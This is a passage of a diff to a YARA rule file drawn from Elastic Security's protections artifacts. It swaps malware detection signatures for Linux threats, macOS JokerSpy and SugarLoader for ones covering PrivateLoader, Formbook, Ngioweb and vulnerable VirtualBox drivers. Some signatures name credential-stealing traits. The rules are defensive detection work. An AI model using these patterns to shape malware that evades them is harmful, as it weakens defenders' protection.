+		description = "Detects Windows Trojan Privateloader (Windows.Trojan.PrivateLoader)"
 		author = "Elastic Security"
-		id = "ace836f1-74f0-4031-903b-ec5b95a40d46"
-		date = "2024-05-21"
-		modified = "2024-06-12"
+		id = "96ac2734-e36c-4ce2-bb40-b6bd77694333"
+		date = "2023-01-03"
+		modified = "2023-02-01"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L1132-L1150"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "116aaba80e2f303206d0ba84c8c58a4e3e34b70a8ca2717fa9cf1aa414d5ffcc"
-		logic_hash = "c80af9d6f3e4d92cfa53429abbda944069d335fc89421a89e04089d236f5dddf"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_PrivateLoader.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "077225467638a420cf29fb9b3f0241416dcb9ed5d4ba32fdcf2bf28f095740bb"
+		logic_hash = "9f96f1c54853866e124d0996504e6efd3d154111390617999cc10520d7f68fe6"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "907b40e66d5da2faf142917304406d0a8abc7356d73b2a6a6789be22b4daf4ab"
-		severity = 50
-		arch_context = "x86, arm64"
+		fingerprint = "029056908abef6c3ceecf7956e64a6d25b67c391f699516b3202d2aa3733f15a"
+		severity = 100
+		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a1 = { 4E 54 4C 4D 53 53 50 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 73 25 73 }
+		$xor_decrypt = { 0F 28 85 ?? ?? FF FF 66 0F EF ?? ?? FE FF FF 0F 29 85 ?? ?? FF FF 0F 28 85 ?? ?? FF FF }
+		$str0 = "https://ipinfo.io/" wide
+		$str1 = "Content-Type: application/x-www-form-urlencoded" wide
+		$str2 = "https://db-ip.com/" wide
 
 	condition:
-		all of them
+		all of ($str*) and #xor_decrypt>3
 }
-rule ELASTIC_Linux_Generic_Threat_E9Aef030 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Vbox_3315863F : FILE
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Subject: innotek GmbH"
 		author = "Elastic Security"
-		id = "e9aef030-7d8c-4e9d-a364-178c717516f0"
-		date = "2024-05-21"
-		modified = "2024-06-12"
+		id = "3315863f-668c-47ec-86c7-85d50c3b97d9"
+		date = "2022-04-07"
+		modified = "2022-04-07"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L1152-L1170"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5ab72be12cca8275d95a90188a1584d67f95d43a7903987e734002983b5a3925"
-		logic_hash = "1d458e147d6667e2e0740d6d26fee05ac02f49e9eba30002852e723308b1b462"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_VBox.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "42d926cfb3794f9b1e3cb397498696cb687f505e15feb9df11b419c49c9af498"
+		logic_hash = "ba4e6a94516e36dcd6140b6732d959703e2c58a79add705b9260001ea26db738"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "50ae1497132a9f1afc6af5bf96a0a49ca00023d5f0837cb8d67b4fd8b0864cc7"
+		tags = "FILE"
+		fingerprint = "b0aea1369943318246f1601f823c72f92a0155791661dadc4c854827c295e4bf"
+		threat_name = "Windows.VulnDriver.VBox"
 		severity = 50
-		arch_context = "x86, arm64"
-		scan_context = "file, memory"
+		arch_context = "x86"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a1 = { D0 4D E2 00 50 A0 E1 0A 00 00 0A 38 40 80 E2 28 31 9F E5 10 00 8D E2 24 11 9F E5 04 20 A0 E1 0F E0 A0 E1 03 F0 A0 E1 04 00 A0 E1 14 31 9F E5 0F E0 A0 E1 03 F0 A0 E1 00 30 D5 E5 40 00 13 E2 05 }
+		$subject_name = { 06 03 55 04 03 [2] 69 6E 6E 6F 74 65 6B 20 47 6D 62 48 }
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $subject_name
 }
-rule ELASTIC_Linux_Generic_Threat_A3C5F3Bd : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Vbox_1B1C5Cd5 : FILE
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Name: VBoxDrv.sys, Version: 3.0.0.0"
 		author = "Elastic Security"
-		id = "a3c5f3bd-9afe-44f4-98da-6ad704d0dee1"
-		date = "2024-05-21"
-		modified = "2024-06-12"
+		id = "1b1c5cd5-23d3-4f1f-a396-3f2b18e28b64"
+		date = "2022-04-07"
+		modified = "2022-04-07"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L1172-L1192"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8c093bcf3d83545ec442519637c956d2af62193ea6fd2769925cacda54e672b6"
-		logic_hash = "41e66d1f47e7197662aa661ef49ee1f3191fee07a49538dd631ce9cc6fdd56be"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_VBox.yar#L22-L42"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1684e24dae20ab83ab5462aa1ff6473110ec53f52a32cfb8c1fe95a2642c6d22"
+		logic_hash = "5fcfffea021aee8d18172383df0e65f8c618fab545c800f1a7b659e8112c6c0f"
 		score = 75
-		quality = 69
-		tags = "FILE, MEMORY"
-		fingerprint = "f86d540c4e884a9c893471cf08db86c9bf34162fe9970411f8e56917fd9d3d8f"
+		quality = 75
+		tags = "FILE"
+		fingerprint = "89dd35bb023ebc03c46c0e70ac975025921da289cb3374f2912fbb323c591bd9"
+		threat_name = "Windows.VulnDriver.VBox"
 		severity = 50
-		arch_context = "x86, arm64"
-		scan_context = "file, memory"
+		arch_context = "x86"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a1 = { 66 68 5F 72 65 6D 6F 76 65 5F 68 6F 6F 6B }
-		$a2 = { 66 68 5F 66 74 72 61 63 65 5F 74 68 75 6E 6B }
-		$a3 = { 66 68 5F 69 6E 73 74 61 6C 6C 5F 68 6F 6F 6B }
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 56 00 42 00 6F 00 78 00 44 00 72 00 76 00 2E 00 73 00 79 00 73 00 00 00 }
+		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x00][\x00-\x00])([\x00-\x03][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x02][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
 }
-rule ELASTIC_Linux_Generic_Threat_3Fa2Df51 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Formbook_1112E116 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Windows Trojan Formbook (Windows.Trojan.Formbook)"
 		author = "Elastic Security"
-		id = "3fa2df51-fa0e-4149-8631-fa4bfb2fe66e"
-		date = "2024-05-21"
-		modified = "2024-06-12"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L1194-L1213"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "89ec224db6b63936e8bc772415d785ef063bfd9343319892e832034696ff6f15"
-		logic_hash = "f43b659dd093a635d9723b2443366763132217aaf28c582ed43f180725f92f19"
+		id = "1112e116-dee0-4818-a41f-ca5c1c41b4b8"
+		date = "2021-06-14"
+		modified = "2021-08-23"
+		reference = "https://www.elastic.co/security-labs/formbook-adopts-cab-less-approach"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Formbook.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a"
+		logic_hash = "ec307a8681fa01fc0c7c0579b0e3eff10e7f373159ad58dae0a358ff16fbc10b"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3aa2bbc4e177574fa2ae737e6f27b92caa9a83e6e9a1704599be67e2c3482f6a"
-		severity = 50
-		arch_context = "x86, arm64"
+		fingerprint = "b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134"
+		severity = 100
+		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a1 = { 5B 6B 77 6F 72 6B 65 72 2F 30 3A 32 5D }
-		$a2 = { 2F 74 6D 70 2F 6C 6F 67 5F 64 65 2E 6C 6F 67 }
+		$a1 = { 3C 30 50 4F 53 54 74 09 40 }
+		$a2 = { 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 }
+		$a3 = { 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 }
+		$a4 = { 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83 }
 
 	condition:
-		all of them
+		any of them
 }
-rule ELASTIC_Linux_Generic_Threat_Be02B1C9 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Formbook_772Cc62D : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Windows Trojan Formbook (Windows.Trojan.Formbook)"
 		author = "Elastic Security"
-		id = "be02b1c9-fb48-434c-a0ee-a1a87938992c"
-		date = "2024-05-21"
-		modified = "2024-06-12"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L1215-L1233"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ef6d47ed26f9ac96836f112f1085656cf73fc445c8bacdb737b8be34d8e3bcd2"
-		logic_hash = "a278c3a8033139d84c99a53901526895b154b5ef363fbeed47095889a5fb8d31"
+		id = "772cc62d-345c-42d8-97ab-f67e447ddca4"
+		date = "2022-05-23"
+		modified = "2022-07-18"
+		reference = "https://www.elastic.co/security-labs/formbook-adopts-cab-less-approach"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Formbook.yar#L25-L46"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "db9ab8df029856fc1c210499ed8e1b92c9722f7aa2264363670c47b51ec8fa83"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c803bfffa481ad01bbfe490f9732748f8988669eab6bdf9f1e0e55f5ba8917a3"
-		severity = 50
-		arch_context = "x86, arm64"
+		fingerprint = "3d732c989df085aefa1a93b38a3c078f9f0c3ee214292f6c1e31a9fc1c9ae50e"
+		severity = 100
+		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a1 = { 18 48 89 FB 48 89 F5 48 8B 47 08 48 89 C2 48 C1 EA 18 88 14 24 48 89 C2 48 C1 EA 10 88 54 24 01 48 89 C2 48 C1 EA 08 88 54 24 02 88 44 24 03 48 8B 07 48 89 C2 48 C1 EA 18 88 54 24 04 }
+		$a1 = "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko"
+		$a2 = "signin"
+		$a3 = "persistent"
+		$r1 = /.\:\\Users\\[^\\]{1,50}\\AppData\\Roaming\\[a-zA-Z0-9]{8}\\[a-zA-Z0-9]{3}log\.ini/ wide
 
 	condition:
-		all of them
+		2 of ($a*) and $r1
 }
-rule ELASTIC_Windows_Vulndriver_Vmdrv_7C674F8E : FILE
+rule ELASTIC_Windows_Trojan_Formbook_5799D1F2 : FILE MEMORY
 {
 	meta:
-		description = "Name: vmdrv.sys, Version: 10.0.10011.16384"
+		description = "Detects Windows Trojan Formbook (Windows.Trojan.Formbook)"
 		author = "Elastic Security"
-		id = "7c674f8e-720c-48ee-9644-5566493d2546"
-		date = "2022-04-07"
-		modified = "2022-04-07"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_Vmdrv.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "32cccc4f249499061c0afa18f534c825d01034a1f6815f5506bf4c4ff55d1351"
-		logic_hash = "87f29b861d5239c60e44541fe31ed90696068225b1b6d824dc9b06fcdb1597ae"
+		id = "5799d1f2-4d4f-49d6-b010-67d2fbc04824"
+		date = "2022-06-08"
+		modified = "2022-09-29"
+		reference = "https://www.elastic.co/security-labs/formbook-adopts-cab-less-approach"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Formbook.yar#L48-L67"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8555a6d313cb17f958fc2e08d6c042aaff9ceda967f8598ac65ab6333d14efd9"
+		logic_hash = "8e61eabd11beb9fb35c016983cfb3085f5ceddfc8268522f3b48d20be5b5df6a"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "a1ce2c56e5c99aae124d0404750eb8cc970291e8e10cb0c81c8c618eb778c343"
-		threat_name = "Windows.VulnDriver.Vmdrv"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "b262c4223e90c539c73831f7f833d25fe938eaecb77ca6d2e93add6f93e7d75d"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 76 00 6D 00 64 00 72 00 76 00 2E 00 73 00 79 00 73 00 00 00 }
-		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x00][\x00-\x00])([\x00-\x0a][\x00-\x00])([\x00-\x00][\x00-\x40]|[\x00-\xff][\x00-\x3f])([\x00-\x1b][\x00-\x27]|[\x00-\xff][\x00-\x26])|([\x00-\xff][\x00-\xff])([\x00-\x09][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x00][\x00-\x00])([\x00-\x0a][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\x1a][\x00-\x27]|[\x00-\xff][\x00-\x26]))/
+		$a = { E9 C5 9C FF FF C3 E8 00 00 00 00 58 C3 68 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
+		all of them
 }
-rule ELASTIC_Macos_Hacktool_Jokerspy_58A6B26D : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Ngioweb_8Bd3002C : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Hacktool Jokerspy (Macos.Hacktool.JokerSpy)"
+		description = "Detects Linux Trojan Ngioweb (Linux.Trojan.Ngioweb)"
 		author = "Elastic Security"
-		id = "58a6b26d-13dd-485a-bac3-77a1053c3a02"
-		date = "2023-06-19"
-		modified = "2023-06-19"
-		reference = "https://www.elastic.co/security-labs/inital-research-of-jokerspy"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Macos_Hacktool_JokerSpy.yar#L1-L25"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d895075057e491b34b0f8c0392b44e43ade425d19eaaacea6ef8c5c9bd3487d8"
-		logic_hash = "e9e1333c7172d5a0f06093a902edefd7f128963dbaadf77e829f032ccb04ce56"
+		id = "8bd3002c-d9c7-4f93-b7f0-4cb9ba131338"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Ngioweb.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5480bc02aeebd3062e6d19e50a5540536ce140d950327cce937ff7e71ebd15e2"
+		logic_hash = "578fd1c3e6091df9550b3c2caf999d7a0432f037b0cc4b15642531e7fdffd7b7"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "71423d5c4c917917281b7e0f644142a0570df7a5a7ea568506753cb6eabef1c0"
+		fingerprint = "2ee5432cf6ead4eca3aad70e40fac7e182bdcc74dc22dc91a12946ae4182f1ab"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "linux"
 
 	strings:
-		$str1 = "ScreenRecording: NO" fullword
-		$str2 = "Accessibility: NO" fullword
-		$str3 = "Accessibility: YES" fullword
-		$str4 = "eck13XProtectCheck"
-		$str5 = "Accessibility: NO" fullword
-		$str6 = "kMDItemDisplayName = *TCC.db" fullword
+		$a = { 24 18 67 8A 09 84 C9 74 0D 80 F9 2E 75 02 FF C0 FF 44 24 18 }
 
 	condition:
-		5 of them
+		all of them
 }
-rule ELASTIC_Macos_Trojan_Sugarloader_E7E1D99C : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Ngioweb_A592A280 : FILE MEMORY
 {
 	meta:
-		description = "Identifies unpacked SugarLoader sample"
+		description = "Detects Linux Trojan Ngioweb (Linux.Trojan.Ngioweb)"
 		author = "Elastic Security"
-		id = "e7e1d99c-355e-4672-9176-d9eb5d2729c4"
-		date = "2023-10-24"
-		modified = "2023-10-24"
+		id = "a592a280-053f-47bc-8d74-3fa5d74bd072"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_SugarLoader.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3ea2ead8f3cec030906dcbffe3efd5c5d77d5d375d4a54cca03bfe8a6cb59940"
-		logic_hash = "0689b704add81e8e7968d9dba5f60d45c8791209330f4ee97e218f8eeb22c88f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Ngioweb.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5480bc02aeebd3062e6d19e50a5540536ce140d950327cce937ff7e71ebd15e2"
+		logic_hash = "b16cf5b527782680cc1da6f61dd537596792fed615993b19965ef2dbde701e64"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "cfffdab1e603518df48719266f0a2e91763e5ae7c033d4bf7a4c37232aa8eb04"
-		threat_name = "MacOS.Trojan.SugarLoader"
+		fingerprint = "60f5ddd115fa1abac804d2978bbb8d70572de0df9da80686b5652520c03bd1ee"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "linux"
 
 	strings:
-		$seq_process_key = { 44 0F B6 0C 0F 89 C8 99 F7 BF ?? ?? ?? ?? 0F B6 84 17 ?? ?? ?? ?? 4C 21 C6 4C 01 CE 48 01 C6 }
-		$seq_handshake = { E8 ?? ?? ?? ?? 4C 8D 75 ?? 48 89 DF 4C 89 F6 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 8B 06 C1 C0 ?? 44 21 F8 4C 8D 75 ?? 41 89 06 48 89 DF 4C 89 F6 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? }
-		$seq_config = { 48 89 F7 48 C1 E7 05 48 29 F7 48 0F BE D1 48 01 FA 89 D6 8A 08 48 FF C0 84 C9 75 ?? EB ?? }
-		$seq_recieve_msg = { 45 85 FF 74 ?? 45 39 EF BA ?? ?? ?? ?? 41 0F 42 D7 41 8B 3C 24 48 89 DE 31 C9 E8 ?? ?? ?? ?? 41 29 C7 48 01 C3 48 85 C0 7F ?? B8 ?? ?? ?? ?? EB ?? }
+		$a = { 75 06 8B 7C 24 2C EB 2C 83 FD 01 75 06 8B 7C 24 3C EB 21 83 }
 
 	condition:
-		3 of ($seq*)
+		all of them
 }
-rule ELASTIC_Multi_Attacksimulation_Blindspot_D93F54C5 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Ngioweb_D57Aa841 : FILE MEMORY
 {
 	meta:
-		description = "Detects Multi Attacksimulation Blindspot (Multi.AttackSimulation.Blindspot)"
+		description = "Detects Linux Trojan Ngioweb (Linux.Trojan.Ngioweb)"
 		author = "Elastic Security"
-		id = "d93f54c5-6574-4999-a3c0-39ef688b28dc"
-		date = "2022-05-23"
-		modified = "2022-08-16"
+		id = "d57aa841-8eb5-4765-9434-233ab119015f"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Multi_AttackSimulation_Blindspot.yar#L1-L18"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "41984a0ad20ab21186252bb2f3f68604d2cbeea0e1ce22895dd163f7acbf2ca1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Ngioweb.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "555d60bd863caff231700c5f606d0034d5aa8362862d1fd0c816615d59f582f7"
+		logic_hash = "b0db72ad81d27f5b2ac2d2bb903ff10849c304d40619fd95a39e7d48c64c45ba"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4ec38f841aa4dfe32b1f6b6cd2e361c7298839ef1e983061cb90827135f34a58"
-		severity = 1
-		arch_context = "x86, arm64"
+		fingerprint = "83a4eb7c8ac42097d3483bcf918823105b4ea4291a566b4184eacc2a0f3aa3a4"
+		severity = 100
+		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "multi"
+		os = "linux"
 
 	strings:
-		$a = "\\\\.\\pipe\\blindspot-%d."
+		$a = { 24 0C 48 89 4C 24 10 4C 89 44 24 18 66 83 F8 02 74 10 BB 10 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Badbee_231Cb054 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Ngioweb_B97E0253 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Badbee (Linux.Trojan.Badbee)"
+		description = "Detects Linux Trojan Ngioweb (Linux.Trojan.Ngioweb)"
 		author = "Elastic Security"
-		id = "231cb054-36a9-434f-8254-17fee38e5275"
+		id = "b97e0253-497f-4c2c-9d4c-ad89af64847f"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Badbee.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "832ba859c3030e58b94398ff663ddfe27078946a83dcfc81a5ef88351d41f4e2"
-		logic_hash = "a1ed8f2da9b4f891a5c65d943424bb7c465f0d07e7756e292c617ce5ef14d182"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Ngioweb.yar#L61-L79"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5480bc02aeebd3062e6d19e50a5540536ce140d950327cce937ff7e71ebd15e2"
+		logic_hash = "dc11d50166a4d1b400c0df81295054192d42822dd3e065e374a92a31727d4dbd"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ebe789fc467daf9276f72210f94e87b7fa79fc92a72740de49e47b71f123ed5c"
+		fingerprint = "859f29acec8bb05b8a8e827af91e927db0b2390410179a0f5b03e7f71af64949"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -89708,124 +93564,115 @@ rule ELASTIC_Linux_Trojan_Badbee_231Cb054 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 8D B4 41 31 44 97 10 83 F9 10 75 E4 89 DE C1 FE 14 F7 C6 01 00 }
+		$a = { 41 5C 41 5D 41 5E 41 5F C3 67 0F BE 17 39 F2 74 12 84 D2 74 04 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Fileseclab_4A21229A : FILE
+rule ELASTIC_Linux_Trojan_Ngioweb_66C465A0 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Vulndriver Fileseclab (Windows.VulnDriver.Fileseclab)"
+		description = "Detects Linux Trojan Ngioweb (Linux.Trojan.Ngioweb)"
 		author = "Elastic Security"
-		id = "4a21229a-8847-4909-b3cd-69b4078a4825"
-		date = "2024-03-05"
-		modified = "2024-03-21"
+		id = "66c465a0-821d-43ea-82f5-fe787720bfbf"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Vulndriver_Fileseclab.yar#L1-L24"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ae55a0e93e5ef3948adecf20fa55b0f555dcf40589917a5bfbaa732075f0cc12"
-		logic_hash = "bac78186f3d46c6765bacaf6a324ff94e449261cefe2594cb38c4cc25db1f0de"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Ngioweb.yar#L81-L99"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7454ee074812d7fa49044de8190e17b5034b3f08625f547d1b04aae4054fd81a"
